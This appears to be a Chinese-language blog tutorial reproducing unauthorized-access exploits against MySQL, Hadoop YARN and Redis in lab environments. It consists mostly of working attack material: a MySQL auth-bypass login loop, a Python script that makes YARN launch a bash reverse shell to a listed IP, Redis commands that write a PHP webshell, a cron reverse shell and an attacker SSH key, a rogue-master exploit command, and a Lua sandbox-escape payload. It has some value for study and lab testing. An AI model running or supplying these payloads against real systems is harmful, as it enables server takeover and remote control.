未授权漏洞复现mysql,Redis,Hadoop

常见服务应用的安全测试:

1、配置不当-未授权访问

2、安全机制-特定安全漏洞

3、安全机制-弱口令爆破攻击

判断服务开放

  1. 端口扫描(nmap,mapscan,站长之家)

Mysql:3306 rdp:3389 ssh:22 ftp: hadoop:50010 redis:6379

  1. 组合猜解
  2. 信息来源

判断服务类型

  1. 数据库
  2. 文件传输
  3. 远程控制
  4. 数据通讯

判断利用方式

  1. 特性漏洞
  2. 未授权访问
  3. 弱口令爆破
  • Mysql-未授权访问-CVE-2012-2122利用

1、漏洞简介

当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。

2、受影响的版本

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.

MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

  1. 漏洞复现 vulhub

利用docker进行漏洞环境的复现

未授权漏洞复现mysql,Redis,Hadoop_第1张图片

未授权漏洞复现mysql,Redis,Hadoop_第2张图片

for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.153.132 -P3306 ; done

利用for循环,执行命令一直进入数据库为止

未授权漏洞复现mysql,Redis,Hadoop_第3张图片

实战中,Msql默认配置只允许本地登录root用户,远程连接请求是拒绝的,可以借助phpmyadmin猜解,phpmyadmin第三方的数据库管理应用,搭建在对方的服务器上

二、Hadoop-未授权访问-内置配合命令执行RCE

未授权漏洞复现mysql,Redis,Hadoop_第4张图片

未授权漏洞复现mysql,Redis,Hadoop_第5张图片

未授权漏洞复现mysql,Redis,Hadoop_第6张图片

未授权漏洞复现mysql,Redis,Hadoop_第7张图片

python Poc

import requests

target = 'http://123.58.224.8:32343'

lhost = '43.143.231.203' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'

resp = requests.post(url)

app_id = resp.json()['application-id']

url = target + 'ws/v1/cluster/apps'

data = {

'application-id': app_id,

'application-name': 'get-shell',

'am-container-spec': {

'commands': {

'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,

},

},

'application-type': 'YARN',

}

requests.post(url, json=data)

三、Redis-未授权访问-Webshell&任务&密匙&RCE等

漏洞存在点:bind 127.0.0.1未开启,支持远程登录,未设置密码,未开启保护

1、服务器开启redis服务,通过连接写入webshell

未授权漏洞复现mysql,Redis,Hadoop_第8张图片

config set dir /tmp #设置WEB写入目录

config set dbfilename 1.php #设置写入文件名

set test "" #设置写入文件代码

bgsave #保存执行

save #保存执行

2、写定时任务反弹shell

利用条件:

允许异地登录

安全模式protected-mode处于关闭状态

config set dir /var/spool/cron

set yy "\n\n\n* * * * * bash -i >& /dev/tcp/43.143.231.203/5555 0>&1\n\n\n"

config set dbfilename x

save

注意:

centos会忽略乱码去执行格式正确的任务计划

而ubuntu并不会忽略这些乱码,所以导致命令执行失败

未授权漏洞复现mysql,Redis,Hadoop_第9张图片

3、写入Linux ssh-key公钥

利用条件:

允许异地登录

Redis服务使用ROOT账号启动

安全模式protected-mode处于关闭状态

允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

ssh-keygen -t rsa

cd /root/.ssh/

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

cat key.txt | redis-cli -h 118.31.57.214 -x set xxx

config set dir /root/.ssh/

config set dbfilename authorized_keys

save

cd /root/.ssh/

ssh -i id_rsa [email protected]

redis 未授权访问 (CNVD-2015-07557)

https://github.com/vulhub/redis-rogue-getshell

python redis-master.py -r 目标ip -p 6379 -L 自己ip -P 8888 -f RedisModulesSDK/exp.so -c "id"

5.新漏洞-沙箱绕过RCE CVE-2022-0543-vulfocus

连接redis服务器

redis-cli -h ip -p port

Poc:执行id命令

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls /tmp", "r"); local res = f:read("*a"); f:close(); return res' 0

未授权漏洞复现mysql,Redis,Hadoop_第10张图片

你可能感兴趣的:(基础的渗透测试,数据库)